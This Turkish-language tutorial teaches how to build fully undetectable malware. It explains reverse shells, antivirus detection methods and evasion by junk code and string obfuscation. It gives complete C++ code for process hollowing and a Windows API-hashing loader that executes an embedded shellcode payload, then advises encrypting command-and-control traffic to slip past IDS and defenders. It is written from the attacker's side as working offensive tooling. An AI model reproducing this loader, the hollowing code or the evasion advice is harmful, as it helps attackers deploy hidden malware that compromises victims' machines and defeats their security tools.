FUD, “Fully Undetectable”in kısaltılmış halidir. Yani “tamamen algılanamaz, tamamen yakalanamaz” anlamına gelmektedir. FUD bir malware hiçbir antivirüs programı tarafından algılanamayan, tespit edilemeyen zararlı yazılım anlamına gelmektedir.
“Malicious Software”ın kısaltılmış halidir. Zararlı yazılımlar da birer bilgisayar programıdır. Her program gibi zararlı yazılımlar da bir takım faaliyetleri yerine getirmek için çeşitli işlemler gerçekleştirir. Bu işlemler, kullanıcıya veyahut kullanıcının bilgisayarına zarar vermek amacıyla kimi zaman kurbanın dosyalarını şifrelemek (Ransomware – Fidye yazılımı), kimi zaman kullanıcın isteği ve izni olmadan kişisel ya da kritik verileri sızdırmak (Spyware) kimi zaman da kullanıcının cihazında reklam göstermek (Adware) olabilir.
Genellikle zararlı yazılımlardan bahsedilince insanların aklına gelen birkaç terimin ne olduğuna bakalım.
Shell, işletim sisteminin kullanıcıdan gelen komutları anlayabilmesi ve komutlara uygun işlevleri gerçekleştirebilmesi için kullanıcıdan gelen komutları yorumlayan bir yazılımdır. Shell sayesinde işletim sistemi ile iletişim kurabilir ve bilgisayar üzerinde birçok işlem gerçekleştirebiliriz.
Terminal, kullanıcıların komutları girmesini sağlayan bir arayüzdür. Girilen komutları kabuğa (shell) iletir ve bu sayede istenilen işlemler gerçekleştirilir.
Çoğu zararlı yazılım “client” (zararlı yazılımın çalıştığı yer, kurbanın bilgisayarı) üzerinde çalıştığı zaman komuta kontrol sunucusu (kontrolü saldırganda olan internete açık bir sunucu veya saldırganın bilgisayarı) ile bir bağlantı kurulur. Komuta kontrol sunucusu (C&C veya C2 olarak da tabir edilir) ile kurban arasındaki bağlantı, klasik bir sunucu-istemci (server-client) altyapısıdır.
Bu bağlantı iki şekilde gerçekleşebilir. Siber güvenlik terminolojisiyle, “Reverse shell” ve “Bind shell” olmak üzere iki farklı yöntem kullanılabilir. Peki “Reverse shell” ve “Bind shell” nedir ve aralarında ne gibi farklılıklar vardır ?
Bind shell, saldırganın veya komuta kontrol sunucusunun bağlantıyı başlatarak istemciye bağlanmasıyla sağlanan bağlantıdır.
Reverse shell, bağlantı gerçekleşirken kullanıcının sunucu tarafına bağlantı sağlamasıyla gerçekleşen bağlantıdır.
Firewall cihazları genellikle dışarıya çıkan (outbound) trafikten ziyade, içeri giren (inbound) trafiği engelleyecek şekilde ayarlanmıştır. Host-based Firewall yazılımları varsayılan olarak dışarı çıkan trafiği engellemez çünkü kullanıcının istediği sunucuya istediği port üzerinden bağlanmasını engellemek, kullanıcının kullanımını kısıtlayarak kullanıcı deneyimi üzerinde negatif bir etki bırakmaktadır. Bu sebepten ötürü bizler zararlı yazılım geliştirirken genellikle “reverse” bağlantı sağlarız. Böylece çeşitli güvenlik cihazları tarafından tespit edilme ve engellenme olasılığımızı biraz olsun azaltabiliriz.
Antivirüslerin zararlı yazılımları tespit etmek için kullandığı bazı teknikler vardır. Bu tekniklerden bazıları:
olarak bilinir. Peki bu teknikler nasıl işlemektedir ?
Antivirüsler daha önce tespit edilen zararlı yazılımların imzalarını bir veri tabanında tutar. Bir dosyayı incelerken önce dosyanın imzasını alırlar ve veri tabanında aratırlar. Eğer herhangi bir imza ile eşleşme var ise dosya karatina altına alınır ve silinir. Bu işlem genellikle disk üzerinde gerçekleşir, statik analiz yöntemidir.
Programların içerisinde bulunan Stringler program hakkında bilgi verebilir. Örneğin bir program içerisinde "cmd.exe" String varsa büyük bir ihtimalle komut satırı ile iletişime geçecektir. Antivirüsler statik analiz yaparken program içerisinde "cmd.exe, xyz.ddns.net" gibi sorun teşkil edebilecek String değerlerinin olup olmadığına bakar. Antivirüsler dışında da zararlı yazılım analizi yapan kişiler Stringlere bakar.
Antivirüsler daha önce yakalanmış olan zararlı yazılımların statik veya dinamik örüntüsü taranan programda var mı yok mu diye kontrol eder. Örneğin meterpreter payloadunu şifreleyip bir program içerisine saklasak, çalışma zamanında da deşifre edip yürütsek antivirüs bu programın çalışma zamanında yaptıkları meterpreter'in aynısı ya da çok benzeri der ve tespit eder. Bu örnekte meterpreter'i şifrelemeden koyarsak direkt olarak statik analizde örüntü tespit edilir.
Programlara çalışma zamanında neler yaptığına göre antivirüsler tarafından bir puan verilir. Antivirüsler, modern çözümler (Sandbox vs.) içerisinde yaptığı dinamik analizler ile program hangi sistem API'ları ile etkileşime geçiyor, hangi processlerle iletişime geçiyor, ağda ne yapıyor gibi sorulara cevap bulmaya çalışır. Analiz sonrasında programa bir puan verilir. Puana göre kullanıcıya ne yapılacağı sorulabilir, program karantinaya alınabilir veyahut antivirüslerin cloud sunucularına yollanabilir.
Yukarıda anlattığım tekniklere baktığımızda hem dinamik analizde hem de statik analizde çoğunlukla daha önce yakalanmış olan zararlı yazılımlar ile karşılaştırmalar yapıldığını görüyoruz. Bu durumda programımızın özgün olması antivirüsleri atlatmak için en önemli özellik diyebiliriz. İnternette bulunan ve yaygın olarak kullanılan zararlı yazılımları kullanmak yerine kendimiz geliştirirsek antivirüsleri rahatlıkla atlatabiliriz. Bu kısımda hem kendi özgün kodumuzu saklamaya yönelik hem de yaygın zararlı yazılımları saklamaya yönelik tekniklerden bahsedeceğim.
Scan time'daki imza kontrolünü ve runtime'daki Code re-use analizlerini atlatmak için kodumuzun oluşturduğu zararlı örüntüden kurtulmamız gerekiyor. Bunu sağlayabilmek için "Junk code" eklemesi yapabiliriz. Junk code, programın genel işleyişini bozmadan çalışacak rastgele kod bloklarıdır. Malicious işlemleri arka arkaya yürütmek antivirüsler tarafından yakalanma olasılığımız artırmakta olduğu için malicious işlemler arasına “junk code” eklemek hem run-time’da (arka arkaya malicious işlemler gerçekleşmesini önlüyoruz) hem scan-time’da (kod hacmini arttığı ve arka arkaya gelen malicious kod miktarı azaldığı için yakalanmış kodlardan uzaklaşıyoruz) antivirüs tarafından yakalanma olasılığımızı düşürmektedir. Junk code eklemek aynı zamanda zararlı yazılım analizi yapan kişilerin de işini zorlaştıracaktır. Bu işlemi gerçekleştirirken dikkat etmemiz gereken çok önemli bir unsur var. Junk code eklemesi yapabilecek programlardan uzak durmak! Antivirüsler bu programların junk code üretme ve ekleme algoritmalarını az-çok bildikleri için saptayabilirler ve kodumuzu yakalayabilirler. Yukarıda da söylediğim gibi özgünlük çok önemli.
Code obfuscation, tam olarak bu anlama gelmese de kodu karmaşıklaştırmak anlamına geliyor diyebiliriz. Kod içerisinde kullandığımız variable (değişken) isimlerini, önemli String’leri (örneğin “cmd.exe”, “xyz.ddns.net”, PORT , HOST gibi) oldukları gibi kod içerisine yerleştirmemeliyiz. Mesela şifreleyip koyabilir ve kod çalışırken deşifre edebiliriz. Ya da bir String belirleyebilir içerisine harfler koyabilir, böylece “cmd.exe” yerine (“c” + harfler[5] (5’in m’nin indexi olarak düşünün) + \u0044 + “.e” + \u2717 + “e”) olarak yazabiliriz. Bu işlem sonrasında hem scan-time’da yakalanma olasılığımız düşecektir hem de kodumuzu analiz etmek isteyen uzmanların işi zorlaşacaktır. Ancak code obfuscation gerçekleştirirken dikkat etmemiz gereken bir unsur var. Code obfuscation işlemini uyguladıktan sonra programımız aynen eskisi gibi çalışmalıdır. Yani obfuscation işlemi işleyişi bozmayacak şekilde uygulanmalıdır.
Code obfuscation örneği
// Normal kod
package main
import "fmt"
func main() {
message := "hey"
fmt.Printf("Mesaj: %s\n", message)
}
// Obfuscate edilmiş kod
package main
import "fmt"
func main() {
asdf := (func() string {
mask := []byte{33, 15, 199}
maskedStr := []byte{73, 106, 190}
res := make([]byte, 3)
for i, m := range mask {
res[i] = m ^ maskedStr[i]
}
return string(res)
}())
fmt.Printf("Mesaj: %s\n", asdf)
}
Görüldüğü üzere kod içerisindeki String kod çalışmadan anlamdırılamaz halde. Böylece antivirüslerin kritik Stringleri saptamasını engelleyebiliyoruz. Ayrıca zararlı yazılım analizi yapan kişiler "strings" komutu çalıştırarak kritik Stringlerin var olup olmadığına baktığında herhangi bir sıkıntı görmeyeceklerdir.
Process hollowing (dynamic forking), bir programı legit olarak suspended mode'da başlattıktan sonra process'i unmap edip içerisine zararlı kodu yazdığımız yöntemin adıdır. Sırasyıla aşağıdaki gibi işler:
Process Hollowing örneği
// main.cpp : This file contains the 'main' function. Program execution begins and ends there.
//
#include "pch.h"
#include <iostream>
#include <Windows.h>
#include <winternl.h>
using NtUnmapViewOfSection = NTSTATUS(WINAPI*)(HANDLE, PVOID);
typedef struct BASE_RELOCATION_BLOCK {
DWORD PageAddress;
DWORD BlockSize;
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;
typedef struct BASE_RELOCATION_ENTRY {
USHORT Offset : 12;
USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;
int main()
{
// create destination process - this is the process to be hollowed out
LPSTARTUPINFOA si = new STARTUPINFOA();
LPPROCESS_INFORMATION pi = new PROCESS_INFORMATION();
PROCESS_BASIC_INFORMATION *pbi = new PROCESS_BASIC_INFORMATION();
DWORD returnLenght = 0;
CreateProcessA(NULL, (LPSTR)"c:\\windows\\syswow64\\notepad.exe", NULL, NULL, TRUE, CREATE_SUSPENDED, NULL, NULL, si, pi);
HANDLE destProcess = pi->hProcess;
// get destination imageBase offset address from the PEB
NtQueryInformationProcess(destProcess, ProcessBasicInformation, pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLenght);
DWORD pebImageBaseOffset = (DWORD)pbi->PebBaseAddress + 8;
// get destination imageBaseAddress
LPVOID destImageBase = 0;
SIZE_T bytesRead = NULL;
ReadProcessMemory(destProcess, (LPCVOID)pebImageBaseOffset, &destImageBase, 4, &bytesRead);
// read source file - this is the file that will be executed inside the hollowed process
HANDLE sourceFile = CreateFileA("C:\\temp\\regshot.exe", GENERIC_READ, NULL, NULL, OPEN_ALWAYS, NULL, NULL);
DWORD sourceFileSize = GetFileSize(sourceFile, NULL);
LPDWORD fileBytesRead = 0;
LPVOID sourceFileBytesBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sourceFileSize);
ReadFile(sourceFile, sourceFileBytesBuffer, sourceFileSize, NULL, NULL);
// get source image size
PIMAGE_DOS_HEADER sourceImageDosHeaders = (PIMAGE_DOS_HEADER)sourceFileBytesBuffer;
PIMAGE_NT_HEADERS sourceImageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew);
SIZE_T sourceImageSize = sourceImageNTHeaders->OptionalHeader.SizeOfImage;
// carve out the destination image
NtUnmapViewOfSection myNtUnmapViewOfSection = (NtUnmapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtUnmapViewOfSection"));
myNtUnmapViewOfSection(destProcess, destImageBase);
// allocate new memory in destination image for the source image
LPVOID newDestImageBase = VirtualAllocEx(destProcess, destImageBase, sourceImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
destImageBase = newDestImageBase;
// get delta between sourceImageBaseAddress and destinationImageBaseAddress
DWORD deltaImageBase = (DWORD)destImageBase - sourceImageNTHeaders->OptionalHeader.ImageBase;
// set sourceImageBase to destImageBase and copy the source Image headers to the destination image
sourceImageNTHeaders->OptionalHeader.ImageBase = (DWORD)destImageBase;
WriteProcessMemory(destProcess, newDestImageBase, sourceFileBytesBuffer, sourceImageNTHeaders->OptionalHeader.SizeOfHeaders, NULL);
// get pointer to first source image section
PIMAGE_SECTION_HEADER sourceImageSection = (PIMAGE_SECTION_HEADER)((DWORD)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS32));
PIMAGE_SECTION_HEADER sourceImageSectionOld = sourceImageSection;
int err = GetLastError();
// copy source image sections to destination
for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++)
{
PVOID destinationSectionLocation = (PVOID)((DWORD)destImageBase + sourceImageSection->VirtualAddress);
PVOID sourceSectionLocation = (PVOID)((DWORD)sourceFileBytesBuffer + sourceImageSection->PointerToRawData);
WriteProcessMemory(destProcess, destinationSectionLocation, sourceSectionLocation, sourceImageSection->SizeOfRawData, NULL);
sourceImageSection++;
}
// get address of the relocation table
IMAGE_DATA_DIRECTORY relocationTable = sourceImageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
// patch the binary with relocations
sourceImageSection = sourceImageSectionOld;
for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++)
{
BYTE* relocSectionName = (BYTE*)".reloc";
if (memcmp(sourceImageSection->Name, relocSectionName, 5) != 0)
{
sourceImageSection++;
continue;
}
DWORD sourceRelocationTableRaw = sourceImageSection->PointerToRawData;
DWORD relocationOffset = 0;
while (relocationOffset < relocationTable.Size) {
PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)((DWORD)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);
relocationOffset += sizeof(BASE_RELOCATION_BLOCK);
DWORD relocationEntryCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY);
PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)((DWORD)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset);
for (DWORD y = 0; y < relocationEntryCount; y++)
{
relocationOffset += sizeof(BASE_RELOCATION_ENTRY);
if (relocationEntries[y].Type == 0)
{
continue;
}
DWORD patchAddress = relocationBlock->PageAddress + relocationEntries[y].Offset;
DWORD patchedBuffer = 0;
ReadProcessMemory(destProcess,(LPCVOID)((DWORD)destImageBase + patchAddress), &patchedBuffer, sizeof(DWORD), &bytesRead);
patchedBuffer += deltaImageBase;
WriteProcessMemory(destProcess, (PVOID)((DWORD)destImageBase + patchAddress), &patchedBuffer, sizeof(DWORD), fileBytesRead);
int a = GetLastError();
}
}
}
// get context of the dest process thread
LPCONTEXT context = new CONTEXT();
context->ContextFlags = CONTEXT_INTEGER;
GetThreadContext(pi->hThread, context);
// update dest image entry point to the new entry point of the source image and resume dest image thread
DWORD patchedEntryPoint = (DWORD)destImageBase + sourceImageNTHeaders->OptionalHeader.AddressOfEntryPoint;
context->Eax = patchedEntryPoint;
SetThreadContext(pi->hThread, context);
ResumeThread(pi->hThread);
return 0;
}
Process hollowing zararlımızı saklamak için güzel bir yöntem olsa da kendisi antivirüsler tarafından rahatlıkla tespit edilebiliyor. Bu yöntemde çok fazla Windows API'ı kullanıyoruz ve kullandığımız API başka processler ile iletişime geçmeye yönelik API'lar. (WriteProcessMemory, VirtualAllocEx vs.) Antivirüslerin Process Hollowing yöntemi kullandığımızı anlamaması için öncelikle örüntü bozmalıyız. Mesela VirutalAllocEx kullanmadan önce GetModuleNameA kullanabiliriz ancak örüntüyü bozarken API kullanımı arttırdığımızı unutmayın, yani çok abartmayın. En etkin yöntem ise hem statik analiz zamanında hem dinamik analiz zamanında API kullandığımızı olabildiğince gizlemek. Bunu sağlayabilmek için Windows API Hashing adında çok işe yarayan bir yöntem kullanabiliriz.
Windows API Hashing yönteminde API'ları çağırmak yerine LoadLibraryA API aracılığı ile Kernel32.dll'i getiririz. Daha sonra kütüphanenin export ettiği API'ları iterate eder ve isimlerinin hashini alırız. Alınan hash ile kullanmak istediğimiz API'ın isminin hashi eşleşiyorsa export edilen yerin adresini alırız. Böylece statik zamanda imports kısmında kullanacağımız API'lardan herhangi biri görülmez. Ayrıca çalışma zamanında da direkt olarak API'a erişmek yerine bellek adresini kullanarak API ile yapacaklarımızı yaparız. Böylece hem statik hem de dinamik analizlerde kullandığımız API'lar antivirüsler tarafından tespit edilmez.
Windows API Hashing örneği
// main.cpp : This file contains the 'main' function. Program execution begins and ends there.
//
#define CRYPTOPP_ENABLE_NAMESPACE_WEAK 1
#include "cryptlib.h"
#include <hex.h>
#include <md5.h>
#include <files.h>
#include <iostream>
#include <Windows.h>
using namespace CryptoPP;
using namespace std;
string getHashFromString(string message) {
Weak::MD5 hash;
byte digest[Weak::MD5::DIGESTSIZE];
hash.CalculateDigest(digest, (byte*)message.c_str(), message.length());
HexEncoder encoder;
string output;
encoder.Attach(new StringSink(output));
encoder.Put(digest, sizeof(digest));
encoder.MessageEnd();
return output;
}
PDWORD getFunctionAddressByHash(char* library, string hash)
{
PDWORD functionAddress = (PDWORD)0;
// Modülün base adresini alıyoruz. Bu örnekte VirutalAlloc kullanacağımız için kernel32'in base adresini alıyoruz.
HMODULE libraryBase = LoadLibraryA(library);
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)libraryBase;
PIMAGE_NT_HEADERS imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)libraryBase + dosHeader->e_lfanew);
DWORD_PTR exportDirectoryRVA = imageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY imageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)libraryBase + exportDirectoryRVA);
// Export edilen fonksiyonlar (API'lar) ile alakalı bilgileri alıyoruz.
PDWORD addresOfFunctionsRVA = (PDWORD)((DWORD_PTR)libraryBase + imageExportDirectory->AddressOfFunctions);
PDWORD addressOfNamesRVA = (PDWORD)((DWORD_PTR)libraryBase + imageExportDirectory->AddressOfNames);
PWORD addressOfNameOrdinalsRVA = (PWORD)((DWORD_PTR)libraryBase + imageExportDirectory->AddressOfNameOrdinals);
// Export edilen fonksiyonları iterate ediyoruz ve her fonksiyonun hashini alıp elimizdeki hash () ile karşılaştırıyoruz.
// Eğer hashler eşleşiyorsa aradığımız fonksiyonu (API'ı) bellekteki yerini bulduk demektir.
for (DWORD i = 0; i < imageExportDirectory->NumberOfFunctions; i++)
{
DWORD functionNameRVA = addressOfNamesRVA[i];
DWORD_PTR functionNameVA = (DWORD_PTR)libraryBase + functionNameRVA;
char* functionName = (char*)functionNameVA;
DWORD_PTR functionAddressRVA = 0;
// Export edilen fonksiyonun hashini alıyoruz
string functionNameHash = getHashFromString(functionName);
// Eğer hashler eşleştiyse fonksiyonun adresini alıyoruz.
if (functionNameHash.compare(hash) == 0)
{
functionAddressRVA = addresOfFunctionsRVA[addressOfNameOrdinalsRVA[i]];
functionAddress = (PDWORD)((DWORD_PTR)libraryBase + functionAddressRVA);
printf("%s : 0x%x : %p\n", functionName, functionNameHash, functionAddress);
return functionAddress;
}
}
}
// Bellekte bulduğumuz fonksiyona için gerekecek. İstediğimiz API'nin imzasını oluşturuyoruz.
using customVirtualAlloc = LPVOID(NTAPI*)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
int main(int argc, char* argv[])
{
unsigned char shellcode[] =
"\xdb\xd9\xd9\x74\x24\xf4\x5a\x31\xc9\xb1\x59\xbe\x2b\xb0\x4b"
"\x61\x83\xea\xfc\x31\x72\x15\x03\x72\x15\xc9\x45\xb7\x89\x82"
"\xa6\x48\x4a\xfc\x2f\xad\x7b\x2e\x4b\xa5\x2e\xfe\x1f\xeb\xc2"
"\x75\x4d\x18\xd4\x3e\x38\x06\xdb\xbf\x36\x34\x33\x0e\x89\x15"
"\x7f\x11\x75\x64\xac\xf1\x44\xa7\xa1\xf0\x81\x71\xcf\x1d\x5f"
"\x09\x7d\xf1\xeb\x4f\xbe\xf0\x3b\xc4\xfe\x8a\xec\x5e\x3e\x1e"
"\x5f\x60\x6f\x8e\xd4\x3a\xaf\xa5\xa3\xa2\xae\x6a\xb6\x1a\xc4"
"\xb0\xf0\xad\xda\x43\x36\x45\x25\x85\x06\x99\xe7\xe6\x64\xb5"
"\xe9\x3f\x4e\x25\x9c\x4b\xac\xd8\xa7\x88\xce\x06\x2d\x0e\x68"
"\xcc\x95\xea\x88\x01\x43\x79\x86\xee\x07\x25\x8b\xf1\xc4\x5e"
"\xb7\x7a\xeb\xb0\x31\x38\xc8\x14\x19\x9a\x71\x0d\xc7\x4d\x8d"
"\x4d\xaf\x32\x2b\x06\x42\x24\x4b\xe7\x9c\x49\x11\x7f\x50\x84"
"\xaa\x7f\xfe\x9f\xd9\x4d\xa1\x0b\x76\xfd\x2a\x92\x81\x74\x3c"
"\x25\x5d\x3e\x2d\xdb\x5e\x3e\x67\x18\x0a\x6e\x1f\x89\x33\xe5"
"\xdf\x36\xe6\x93\xd5\xa0\xc9\xcb\x33\xb2\xa2\x09\xc4\xb2\x89"
"\x84\x22\xe4\xbd\xc6\xfa\x45\x6e\xa6\xaa\x2d\x64\x29\x94\x4e"
"\x87\xe0\xbd\xe5\x68\x5c\x95\x91\x11\xc5\x6d\x03\xdd\xd0\x0b"
"\x03\x55\xd0\xec\xca\x9e\x91\xfe\x3b\xf9\x59\xff\xbb\x6c\x59"
"\x95\xbf\x26\x0e\x01\xc2\x1f\x78\x8e\x3d\x4a\xfb\xc9\xc2\x0b"
"\xcd\xa2\xf5\x99\x71\xdd\xf9\x4d\x71\x1d\xac\x07\x71\x75\x08"
"\x7c\x22\x60\x57\xa9\x57\x39\xc2\x52\x01\xed\x45\x3b\xaf\xc8"
"\xa2\xe4\x50\x3f\xb1\xe3\xae\xbd\x9e\x4b\xc6\x3d\x9f\x6b\x16"
"\x54\x1f\x3c\x7e\xa3\x30\xb3\x4e\x4c\x9b\x9c\xc6\xc7\x4a\x6e"
"\x77\xd7\x46\x2e\x29\xd8\x65\xeb\xda\xa3\x06\x0c\x1b\x54\x0f"
"\x69\x1c\x54\x2f\x8f\x21\x82\x16\xe5\x64\x16\x2d\xf6\xd3\x3b"
"\x04\x9d\x1b\x6f\x56\xb4";
// Hash kullanarak fonksiyon adresini alıyoruz.
PDWORD functionAddress = getFunctionAddressByHash((char*)"kernel32", "A0A81327956B7290CCA770DB8DC2A536");
// VirtualAlloc'un sanal adresine point ediyoruz.
customVirtualAlloc VirtualAlloc = (customVirtualAlloc)functionAddress;
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void(*)())exec)();
return 0;
}
// A0A81327956B7290CCA770DB8DC2A536 -> VirtualAlloc'un hashi
Bu kodda shellcode çalıştırırken VirtualAlloc kullandığımızı Windows API Hashing kullanarak saklıyoruz. CFF Explorer gibi statik analiz araçları ile incelediğimizde Imports kısmında VirtualAlloc'u göremeyeceğiz. Ayrıca çalışma zamanında da hem VirtualAlloc String olarak hiçbir yerde geçmiyor hem de zaten halihazırda bellekte olan bir yere pointer koyarak VirtualAlloc'u kullanıyoruz, direkt olarak kullanmadığımız için çok dikkat çekmiyor. Bu tekniği Process Hollowing yaparken kullanırsak evasion ciddi oranda artacaktır.
Ağ iletişimi hem antivirüsler tarafından hem firewall tarafından hem de kurum içerisinde çalışan siber güvenlik uzmanları tarafından izlenmektedir. Bu yüzden özellikle ağ iletişimimiz içerisinde zararlı olabilecek komutların var olması büyük problem teşkil edeceği için sunucu ile istemci arasındaki iletişimin korunması, saklanması gerekir. Bu sebepten ötürü iletişimimizi şifreli bir şekilde gerçekleştirmek hem ağı izlemekte olan kişileri hem de güvenlik çözümlerini (IPS/IDS gibi) atlatabilmek için çok önemli bir işlemdir. İletişimi şifrelerken dikkat etmemiz gereken en önemli yer anahtarın gizliliği, güvenliğidir. Örneğin AES şifreleme kullanarak şifreleme yapacaksak AES şifrelemede kullanacağımız anahtarı hard-coded olarak tutmamalıyız, çalışma zamanında rastgele üretmeliyiz. Böylece her istemcinin kendisine özgü ve rastgele oluşturulmuş bir anahtarı olacaktır. Ancak bu anahtarı sunucu direkt iletirsek ağı izleyen ürünlere ve kişilere direkt olarak anahtarı sunarız. Bunu önlemek için anahtarı sunucuya gönderirken yalnızca sunucunun anlayacağı şekilde yollamalıyız. Ben sırasıyla aşağıdaki adımları izliyorum:
RSA şifreleme algoritması sayesinde şifrelenmiş anahtarı yalnızca sunucu deşifre edebiliyor.